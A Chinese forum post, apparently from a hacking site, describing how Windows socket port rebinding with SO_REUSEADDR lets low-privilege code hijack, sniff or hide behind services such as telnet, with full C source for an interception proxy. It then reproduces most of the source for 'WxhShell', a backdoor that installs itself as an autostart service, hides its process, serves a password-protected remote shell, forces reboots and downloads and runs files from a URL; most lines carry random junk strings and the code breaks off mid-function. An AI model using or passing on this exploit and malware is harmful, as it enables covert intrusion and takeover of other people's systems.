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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: JSz;>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SSG57N-T  
*_feD+rq  
  saddr.sin_family = AF_INET; )F _vWbg  
y!_*CYZ~m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S,ZlS<Z#  
e4:,W+g,9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ay~c@RXW  
{"{kWbXZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 matW>D;J  
h-r\ 1{Q1]  
  这意味着什么?意味着可以进行如下的攻击: r{NCI  
P5$d#Y(=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0 D^d-R,  
fny|^F]w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RcJ.=?I!  
a)L\+$@*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 581Jp'cje  
 TA;r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ."`mh&+`  
>]b>gc?3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sVXIR  
9*fA:*T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q!UN<+k\h  
0,a/t jSr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =VA5!-6<Uq  
rl:6N*kK  
  #include $D;/b+a  
  #include n^}M*#  
  #include a'zXLlXgGd  
  #include    @4sEHk 3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R<\5 q%@G  
  int main() HJ5 Ktt  
  { KDTG9KC  
  WORD wVersionRequested; * AsILK0  
  DWORD ret; ~|y$^qy?U  
  WSADATA wsaData; W`^euBr7R>  
  BOOL val; ad <z+a  
  SOCKADDR_IN saddr; dU4  h  
  SOCKADDR_IN scaddr; 9gWR djK:  
  int err; pI>yO~Ve  
  SOCKET s; ^7b[s pqE  
  SOCKET sc; $a / jfpV  
  int caddsize; Oe#*-  
  HANDLE mt; H]]UsY`  
  DWORD tid;   ~HW8mly'  
  wVersionRequested = MAKEWORD( 2, 2 ); dP[vXhc  
  err = WSAStartup( wVersionRequested, &wsaData ); 0EWov~Y?  
  if ( err != 0 ) { 6Bv!t2  
  printf("error!WSAStartup failed!\n"); lI,lR  
  return -1; Q4~/Tl;  
  } [Eq7!_ 3  
  saddr.sin_family = AF_INET; |A .U~P):  
   {TmrWFo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n,,hE_  
#.Q3}[M  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9^yf'9S1  
  saddr.sin_port = htons(23); a"ct"g=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /-C`*P=:u  
  { RC[mpR ;2  
  printf("error!socket failed!\n"); <[*%d~92z  
  return -1; ,Z3 (`ftC  
  } B7'rbc'  
  val = TRUE; >JSk/]"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 NY(z 3G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5Q/&,NP  
  { !UzMuGj  
  printf("error!setsockopt failed!\n"); 8%+F.r  
  return -1; 3bWYRW  
  } B|fh 4FNy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v d{`*|x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;FQ<4PR$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k 4HE'WY  
S*aMUV&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \r.{Ru  
  { 0fOx&"UAB  
  ret=GetLastError(); DfPC@` k  
  printf("error!bind failed!\n"); ?cyBF*o  
  return -1; b-/8R|Mem  
  } |qOoL*z  
  listen(s,2); ,0pCc<  
  while(1)  }q$6^y  
  { OuZPgN  
  caddsize = sizeof(scaddr); {fd/:B 7T  
  //接受连接请求 9~rrN60Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J2_~iC&;s  
  if(sc!=INVALID_SOCKET) B,x ohT  
  { \Fh#CI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bmid;X|  
  if(mt==NULL) fen~k#|l  
  {  AhyV  
  printf("Thread Creat Failed!\n"); UnE[FYx  
  break; |>'.(  
  } 13JZ\`ceb  
  } *ku}.n  
  CloseHandle(mt); _L^(CFE  
  } 8*bEsc|  
  closesocket(s); /W|=Or2oR  
  WSACleanup(); T A9Kg=_  
  return 0; 1WP(=7$.  
  }   /%9Ge AAs  
  DWORD WINAPI ClientThread(LPVOID lpParam) Yl$R$u)  
  { 23(j<  
  SOCKET ss = (SOCKET)lpParam; .="/n8B  
  SOCKET sc; V7gv@<1<y  
  unsigned char buf[4096]; L vPcH  
  SOCKADDR_IN saddr; w;OvZo|  
  long num; _8z gaA  
  DWORD val; |T; ]%<O3E  
  DWORD ret; Au\j6mB  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =xs"<Q*w>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RE<s$B$[  
  saddr.sin_family = AF_INET; :>q*#vlb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S|K#lL  
  saddr.sin_port = htons(23); 2{Johqf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *x<3=9V  
  { ?cB:1?\j  
  printf("error!socket failed!\n"); #Fwf]{J  
  return -1; H6oU Ne  
  } 0K<|>I  
  val = 100; Cu $mb}@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f(*ygI  
  { VpO+52&  
  ret = GetLastError(); ! N!A%  
  return -1; j3Yz=bsQ{c  
  } O{{\jn|lR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b%TLvV 9F  
  { svWQk9d  
  ret = GetLastError(); %7wNS  
  return -1; 9j8<Fs0M  
  } q}+Fm?B   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =jWjUkm2  
  { 0|chRX  
  printf("error!socket connect failed!\n"); }od5kK;  
  closesocket(sc); ' X9D(?O  
  closesocket(ss); $&ZN%o3  
  return -1; x-@}x@n&[  
  } bm\Zp  
  while(1) DX b=Ku  
  { +M{A4nYY|1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1 k\~%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U3tA"X.K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~gi,ky^!  
  num = recv(ss,buf,4096,0); (Do](C  
  if(num>0) cYx.<b JH  
  send(sc,buf,num,0); @s % !R  
  else if(num==0) Q1 5h \!u  
  break; it)!-[:bm  
  num = recv(sc,buf,4096,0); )KbzgmLr  
  if(num>0) 3$n O@rOS  
  send(ss,buf,num,0); aWk1D.  
  else if(num==0) >"|"Gy (  
  break; ^fqco9^;  
  } y{#9&ct&  
  closesocket(ss); 17ol %3 M  
  closesocket(sc); HxnWM\p  
  return 0 ; sMDHg  
  } _0Z8V[  
[9H986=  
d8Sr,t+  
========================================================== y3Q2d7G  
n1Fp$9%  
下边附上一个代码,,WXhSHELL mhi^zHpa  
6!A+$"  
========================================================== -oMp@2\e  
*t_JR  
#include "stdafx.h" :(TOtrK@  
ZQN%!2  
#include <stdio.h> P/Zp3O H  
#include <string.h> g+pj1ycw/  
#include <windows.h> ,b'QL6>`  
#include <winsock2.h> )2&y;{]  
#include <winsvc.h> 6483v'  
#include <urlmon.h> @3Nvf}He  
i7jI(VvB^  
#pragma comment (lib, "Ws2_32.lib") %<yH6h*u  
#pragma comment (lib, "urlmon.lib") }HLV'^"k  
)Q5ja}-{V  
#define MAX_USER   100 // 最大客户端连接数 | HfN<4NL  
#define BUF_SOCK   200 // sock buffer l}& &f8n  
#define KEY_BUFF   255 // 输入 buffer zcCGR Ee=  
\eoJ6IRE\T  
#define REBOOT     0   // 重启 +sm9H"_0  
#define SHUTDOWN   1   // 关机 @q++eGm\Q  
c W^  
#define DEF_PORT   5000 // 监听端口 !wr2OxK*  
H+?@LPV*N  
#define REG_LEN     16   // 注册表键长度 ykBq?Vr  
#define SVC_LEN     80   // NT服务名长度 h/xV;oj  
Kn`-5{1B|  
// 从dll定义API 586lN22xM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <E1ngG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z$b'y;k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )Q)H!yin  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b Sm*/Q  
yN:U"]glC  
// wxhshell配置信息 4&}dA^F  
struct WSCFG { `CqF&b  
  int ws_port;         // 监听端口 (>M@Ukam:  
  char ws_passstr[REG_LEN]; // 口令 sV$Zf `X)  
  int ws_autoins;       // 安装标记, 1=yes 0=no bU{lV<R,  
  char ws_regname[REG_LEN]; // 注册表键名 `S:LuU8e  
  char ws_svcname[REG_LEN]; // 服务名 a<Ksas'5S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =2R0 g2n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g'<ekY+V:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jlb=]hp8%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2|:x_rcj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @3WI7q4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pUm|e5  
]`T*}$|  
}; 5o2vj8::  
hw)#TEt   
// default Wxhshell configuration 'E_~>  
struct WSCFG wscfg={DEF_PORT, WX}pBmU  
    "xuhuanlingzhe", vf/|b6'y  
    1, Ek,$XH  
    "Wxhshell", r~Vb*~U"  
    "Wxhshell", b X'.hHR  
            "WxhShell Service", "[Hn G(gA  
    "Wrsky Windows CmdShell Service", |L%d^m  
    "Please Input Your Password: ", z3C@0v=u>  
  1, }e8u p*#me  
  "http://www.wrsky.com/wxhshell.exe", S E0&CV4  
  "Wxhshell.exe" 54>gr1B  
    }; Gid6,J  
WOR H4h9  
// 消息定义模块 wpV)y Q^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vi~NfD@s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~F^7L5d}C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BaXf=RsZ  
char *msg_ws_ext="\n\rExit."; =P7!6V\f  
char *msg_ws_end="\n\rQuit."; [;,Xp/  
char *msg_ws_boot="\n\rReboot..."; gkMyo`  
char *msg_ws_poff="\n\rShutdown..."; /4 %ycr6  
char *msg_ws_down="\n\rSave to "; @zq]vX-A_  
 Mcm%G#  
char *msg_ws_err="\n\rErr!"; Q%.F Mf  
char *msg_ws_ok="\n\rOK!"; rlP?Uh  
H?$gHZPI  
char ExeFile[MAX_PATH]; (GB*+@  
int nUser = 0; o@@, }  
HANDLE handles[MAX_USER]; %}1v-z  
int OsIsNt; ;^9y#muk  
'FN+BvD  
SERVICE_STATUS       serviceStatus; u~\l~v^mj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @; 0t+  
~xakz BE  
// 函数声明 1b`WzoJgH  
int Install(void); D !5 {CQl  
int Uninstall(void); 7J[s5'~|  
int DownloadFile(char *sURL, SOCKET wsh); HqoCl  
int Boot(int flag); =, G^GMi'  
void HideProc(void); L1u(\zw  
int GetOsVer(void); vq-# %o  
int Wxhshell(SOCKET wsl); CCp&+LRvR  
void TalkWithClient(void *cs); JH`oa1 b  
int CmdShell(SOCKET sock); < +X,oxg  
int StartFromService(void); wgFAPZr  
int StartWxhshell(LPSTR lpCmdLine); 29kR7[k  
tVqc!][   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m$WN"kV`,9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vD3j(d  
M\6u4p!G!  
// 数据结构和表定义 -EIfuh  
SERVICE_TABLE_ENTRY DispatchTable[] = *G(ZRj@ 33  
{ ~%d*#Yxq  
{wscfg.ws_svcname, NTServiceMain}, EB2 5N~7  
{NULL, NULL} b|E1>TkY  
}; *7UDTgY  
-I*NS6  
// 自我安装 Z<W`5sop^  
int Install(void) o*Kl`3=]  
{ Vk?US&1q}  
  char svExeFile[MAX_PATH]; P-)`FB  
  HKEY key; }4XXNYH  
  strcpy(svExeFile,ExeFile); _(0GAz%9  
B~7]x;8h  
// 如果是win9x系统,修改注册表设为自启动 WeE1 \  
if(!OsIsNt) { 141XnAb)I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { st-I7K\v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SPo}!&p$~  
  RegCloseKey(key); P2=u-{?~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ew 4pAav  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q :-1ul  
  RegCloseKey(key); ,;~@t:!c  
  return 0; E%vT(Kz  
    } I W5N^J  
  } d6+{^v$#  
} *28:|blbL  
else { [E6ZmMB&  
A`ScAzx5{  
// 如果是NT以上系统,安装为系统服务 uG{/yJeU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WN3]xw3  
if (schSCManager!=0) DxJY{e9  
{ 0p[-M`D  
  SC_HANDLE schService = CreateService 4)+L(KyB2  
  ( .y^T 3?}I  
  schSCManager, +MvO+\/  
  wscfg.ws_svcname, Rn5{s3?F~2  
  wscfg.ws_svcdisp,  YW'l),Z  
  SERVICE_ALL_ACCESS, {LoNp0i1a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #S') i1 ;  
  SERVICE_AUTO_START, U2kl-E:  
  SERVICE_ERROR_NORMAL, thrv_^A  
  svExeFile, 2R>!Wj'G+o  
  NULL, Dhzm C  
  NULL, Tv /?-`Y  
  NULL, 8Q\ T,C  
  NULL, K\y W{y1  
  NULL 8Y&_X0T|  
  ); se`^g ,]P  
  if (schService!=0) pu,|_N[xq8  
  { uL9O_a;!  
  CloseServiceHandle(schService); b_>x;5k  
  CloseServiceHandle(schSCManager); u]jvXPE6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z-G*:DfgH  
  strcat(svExeFile,wscfg.ws_svcname); bPUldkB:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ys+NIV#Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gN5;Uk  
  RegCloseKey(key);  #[yZP9  
  return 0; =L&dV]'4P  
    } 9 gWqs'  
  } 5[|ZceY  
  CloseServiceHandle(schSCManager); qz&?zzz;  
} u?lbC9}$  
} 5 ]l8l+  
z\+Ug9Of  
return 1; (;cvLop  
} U]64HuL  
h$$2(!G4  
// 自我卸载 H rI(uZ]  
int Uninstall(void) lCiRvh1K  
{ 5"2pU{xmK  
  HKEY key; '-M9v3itC  
&"mWi-Mpl  
if(!OsIsNt) { Pm== m9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zp:EssO=Q  
  RegDeleteValue(key,wscfg.ws_regname); <(W:Q3?s  
  RegCloseKey(key); f=T&$tZ<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NEff`mwm5)  
  RegDeleteValue(key,wscfg.ws_regname); c%5Suu( J6  
  RegCloseKey(key); /[,0,B9!3  
  return 0; pv@w 8*  
  } N.dcQQ_iS  
} ,FWsgqL{l  
} a&%v^r[  
else { y[d>7fcf  
KkyZd9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'QQa :3<x  
if (schSCManager!=0) WWN2  
{ uQO\vRh0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }Wz[ox9b  
  if (schService!=0) buA/G-<e  
  { ?#Y1E~N  
  if(DeleteService(schService)!=0) { JV@b(x`  
  CloseServiceHandle(schService); cn2SMa[@S  
  CloseServiceHandle(schSCManager); (R-(  
  return 0; h4N&Yb fo  
  } ~en'E  
  CloseServiceHandle(schService); >\'gIIs  
  } U)] }EgpF  
  CloseServiceHandle(schSCManager); DQ hstXX  
} !<= ^&\A  
} k293 wS  
y_{fc$_&  
return 1; M=#g_*d  
} SshjUNx  
Q(/F7 "m  
// 从指定url下载文件 @|d+T"f  
int DownloadFile(char *sURL, SOCKET wsh) PXo^SHJ+gt  
{ sjG@4Or  
  HRESULT hr; L^e%oQ>s  
char seps[]= "/"; UqNUP+K  
char *token; )}i|)^J  
char *file; 8DcIM(;Z  
char myURL[MAX_PATH]; _`+2e-  
char myFILE[MAX_PATH]; A75z/O{  
*_/n$& I%&  
strcpy(myURL,sURL); x/uC)xm  
  token=strtok(myURL,seps); O]80";Uv  
  while(token!=NULL) $aDkZj  
  { y4Lh:;  
    file=token; 2!? =I'uMA  
  token=strtok(NULL,seps); ]+d> ;$O  
  } 'pC51}[A{^  
(\H^ KEy  
GetCurrentDirectory(MAX_PATH,myFILE);  wkKSL  
strcat(myFILE, "\\"); 51Q~/  
strcat(myFILE, file); vBYk"a6SD  
  send(wsh,myFILE,strlen(myFILE),0); #BwOWra  
send(wsh,"...",3,0); j W/*-:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A@)ou0[n@  
  if(hr==S_OK) u+qj_Ej  
return 0; %6E:SI 4  
else MQq!<?/  
return 1; 2 sK\.yS  
<8BNqbX  
} %:yVjb,Yf  
Vu;z|L  
// 系统电源模块 gfQ1p?  
int Boot(int flag) Vw+RRi(  
{ +k\cmDcb  
  HANDLE hToken; ] D+'Ao^'  
  TOKEN_PRIVILEGES tkp; ?6//'bO:%  
a\tv,Lx  
  if(OsIsNt) { E^? 3P'%^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L16">,5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vQmqYyOc2  
    tkp.PrivilegeCount = 1; $Go)Zs-bL?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {!xDJnF;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `gz/?q  
if(flag==REBOOT) { _:+ k|I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lf}%^od~6  
  return 0; FQM9>l@6)>  
} jf=\\*64r4  
else { E(Zm6~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zXML<?w  
  return 0; Ir6g"kwCKq  
} 8K2=WYN  
  } +Sak_*fq  
  else { &;[e  
if(flag==REBOOT) { PGhYkj2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lS/l iI'Y  
  return 0; h I7ur  
} f{)nxd >#  
else { YcN&\(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f}cCnJK  
  return 0; 6xoCB/]  
} 'Xu3]'m*  
} j.+ }Z |  
s=hao4v7z  
return 1; qqSFy>`P  
} OPC8fX5.  
xM**n3SZ`  
// win9x进程隐藏模块 gmN$}Gy}  
void HideProc(void) 'M,O(utGv  
{ F&a)mpFv3c  
#7=- zda5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3`Gb ;D  
  if ( hKernel != NULL ) gbziEjRe  
  { > *soc!#Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }X~"RQf9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fT.MglJcb  
    FreeLibrary(hKernel); ^CW{`eBwk  
  } >*WT[UU  
Ca ?d8  
return; a LJ d1Q  
} Ww=b{lUD  
<jG[ z69)  
// 获取操作系统版本 ,M=s3D8C  
int GetOsVer(void) ^wz 2e  
{ 2k!4oVUN  
  OSVERSIONINFO winfo; Sh\Jm*5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >J/8lS{#  
  GetVersionEx(&winfo); Lm*PHG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \e~5Dx1  
  return 1; WkDXWv\{,{  
  else \WxBtpbQ B  
  return 0; |>KOlwh5n  
} ,PeE'$q  
</D )i  
// 客户端句柄模块 6UM1>xq9A  
int Wxhshell(SOCKET wsl) /i(R~7;?  
{ ##nC@h@  
  SOCKET wsh; -l ?\hmDl  
  struct sockaddr_in client; $8`"  
  DWORD myID; SE6c3  
7KN+ @6!x  
  while(nUser<MAX_USER) mX[J15  
{ &/(JIWc1su  
  int nSize=sizeof(client); X<&Y5\%F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3,1HD_  
  if(wsh==INVALID_SOCKET) return 1; vGwpDu\RgX  
+P<#6<gR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8~AL+*hn  
if(handles[nUser]==0) ! =*k+gpF  
  closesocket(wsh); gjk;An  
else vsJM[$RF  
  nUser++; 7sU,<Z/D  
  } {Mc;B9W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :Z+J t=;  
#]r'?GN  
  return 0; U\-=|gQ'  
} p#6tKY;N  
Hz j%G>  
// 关闭 socket cVl i^*se  
void CloseIt(SOCKET wsh) GOD{?#c$  
{ [F 24xC+  
closesocket(wsh); g0#w 4rGF)  
nUser--; pd-I^Q3-  
ExitThread(0); WWT1_&0  
} TT={>R[B  
lYS*{i1^ '  
// 客户端请求句柄 Ho1V)T>  
void TalkWithClient(void *cs) D B(!*6#?  
{ r?/!VO-*N  
9# #(B  
  SOCKET wsh=(SOCKET)cs; & l0LW,Bx  
  char pwd[SVC_LEN]; ZqX p f  
  char cmd[KEY_BUFF]; 3 Scc"9]  
char chr[1]; m .R**g  
int i,j; T\"-q4+=C  
I.it4~]H  
  while (nUser < MAX_USER) { *W2o$_Hs  
&r2\P6J  
if(wscfg.ws_passstr) { pA6A*~QE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 51;[R8'w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  F |aLF{  
  //ZeroMemory(pwd,KEY_BUFF); B +MnT{  
      i=0; :QC |N@C  
  while(i<SVC_LEN) { ]K QQdr   
+'wO:E1( w  
  // 设置超时 ?in)kL  
  fd_set FdRead; <6+T&Ov6  
  struct timeval TimeOut; 7&u$^c S(  
  FD_ZERO(&FdRead); ;,s9jw  
  FD_SET(wsh,&FdRead); &@=W+A=c~  
  TimeOut.tv_sec=8; l#Vg=zrT  
  TimeOut.tv_usec=0; BZ(I]:oDL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i8S=uJ]n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V[n,fEPBr  
$W%-Mm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W}#n.c4+  
  pwd=chr[0]; wo;OkJKF  
  if(chr[0]==0xd || chr[0]==0xa) { +.Xi7x+#O  
  pwd=0; d.HcO^  
  break; ';v1AX}5q  
  } }}Z2@}  
  i++; 6"; ITU^v  
    } mF4y0r0  
kK/XYC 0D  
  // 如果是非法用户,关闭 socket qae|?z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MBAj.J  
} Qe-PW9C  
<W+9 h0c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AH_qZTv0{Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wb[k2V  
("{"8   
while(1) { wB&5q!{!  
Q>71uM%e`  
  ZeroMemory(cmd,KEY_BUFF); vmh>|N4a7  
3gnO)"$  
      // 自动支持客户端 telnet标准   RC?vU  
  j=0; nLx|$=W  
  while(j<KEY_BUFF) { 6OoOkNWF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6b9J3~d\E  
  cmd[j]=chr[0]; a$Hq<~46  
  if(chr[0]==0xa || chr[0]==0xd) { ;e< TEs  
  cmd[j]=0; %NM={X|'  
  break; ci/qm\JI<<  
  } z:Z-2WV2o  
  j++; SlwQ_F"4L  
    } JW )f'r_f  
T#wG]DH;  
  // 下载文件 Cc;8+Z=a?G  
  if(strstr(cmd,"http://")) { XyiaRW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E^Q J50  
  if(DownloadFile(cmd,wsh)) q^?a|l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qqx!'fft  
  else Cy *.pzCi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >|yP`m   
  } EiG5k.C@  
  else { a=`] L`|N  
/0$fYrg>J  
    switch(cmd[0]) { (=%0$(S>  
  <fF|AbC:  
  // 帮助 WA0D#yuJ/  
  case '?': { pWq+`|l$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o\]U;#YD  
    break; ]^T-X/v9  
  } `oH4"9&]k3  
  // 安装 T]nAz<l),  
  case 'i': { >239SyC-,  
    if(Install()) boHbiE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fx>U2  
    else )WInPW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >oO]S]W  
    break; /sj*@HF=  
    } vbd)L$$20+  
  // 卸载 Q J-|zS.W  
  case 'r': { szb@2fK  
    if(Uninstall()) 5[4nFa}R:5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R PoBF~>  
    else S[zGA<}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )RT?/NW  
    break; u&^KrOM@#  
    } AI|+*amTd  
  // 显示 wxhshell 所在路径 gPb.%^p  
  case 'p': { k!}(a0h  
    char svExeFile[MAX_PATH]; qw?(^uZNW  
    strcpy(svExeFile,"\n\r"); w;j<$<4=7  
      strcat(svExeFile,ExeFile); 8?Ju\W  
        send(wsh,svExeFile,strlen(svExeFile),0);  mC$y*G  
    break; DBL@Mp[<  
    } GqR|hg  
  // 重启 sZT~ 5c8  
  case 'b': { ^D6TeH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); goA=U  
    if(Boot(REBOOT)) elQjPvb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =y_KL  
    else { )G Alj;9A$  
    closesocket(wsh); xr7}@rq"U<  
    ExitThread(0); Dmr*Lh~  
    } CbC [aVA=  
    break; /e|Lw4$@S  
    } u!5q)>Wt(  
  // 关机 `[g$EXX  
  case 'd': { ES AX}uF  
